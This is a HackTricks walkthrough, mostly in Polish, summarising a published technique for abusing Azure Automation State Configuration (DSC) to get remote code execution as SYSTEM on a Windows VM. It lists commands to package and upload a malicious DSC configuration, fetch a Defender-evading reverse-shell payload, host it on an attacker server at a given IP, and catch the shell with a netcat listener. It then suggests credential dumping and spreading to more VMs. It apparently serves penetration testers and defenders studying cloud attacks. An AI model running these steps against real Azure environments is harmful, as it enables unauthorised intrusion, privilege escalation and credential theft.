Az - State Configuration RCE

Support HackTricks

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Summary of Remote Server (C2) Infrastructure Preparation and Steps

Overview

Proces polega na skonfigurowaniu infrastruktury serwera zdalnego do hostowania zmodyfikowanego ładunku Nishang Invoke-PowerShellTcp.ps1, nazwanego RevPS.ps1, zaprojektowanego w celu ominięcia Windows Defender. Ładunek jest serwowany z maszyny Kali Linux o adresie IP 40.84.7.74 przy użyciu prostego serwera HTTP w Pythonie. Operacja jest realizowana w kilku krokach:

Step 1 — Create Files

  • Files Required: Potrzebne są dwa skrypty PowerShell:

  1. reverse_shell_config.ps1: Plik Desired State Configuration (DSC), który pobiera i wykonuje ładunek. Można go uzyskać z GitHub.

  2. push_reverse_shell_config.ps1: Skrypt do publikacji konfiguracji na VM, dostępny na GitHub.

  • Customization: Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku.

Step 2 — Zip Configuration File

  • Plik reverse_shell_config.ps1 jest kompresowany do pliku .zip, co czyni go gotowym do transferu do Azure Storage Account.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Krok 3 — Ustaw kontekst przechowywania i przesyłanie

  • Zszyfrowany plik konfiguracyjny jest przesyłany do zdefiniowanego kontenera przechowywania Azure, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent z Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Krok 4 — Przygotowanie Kali Box

  • Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Skrypt jest edytowany, aby określić docelową maszynę wirtualną Windows i port dla odwrotnego powłoki.

Krok 5 — Publikacja pliku konfiguracyjnego

  • Plik konfiguracyjny jest wykonywany, co skutkuje wdrożeniem skryptu odwrotnej powłoki w określonej lokalizacji na maszynie wirtualnej Windows.

Krok 6 — Hostowanie ładunku i ustawienie nasłuchu

  • Uruchamiany jest Python SimpleHTTPServer, aby hostować ładunek, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Zaplanowane zadanie wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEM.

Wnioski

Pomyślne wykonanie tego procesu otwiera liczne możliwości dalszych działań, takich jak zrzut poświadczeń lub rozszerzenie ataku na wiele maszyn wirtualnych. Przewodnik zachęca do dalszej nauki i kreatywności w dziedzinie Azure Automation DSC.

Support HackTricks

Last updated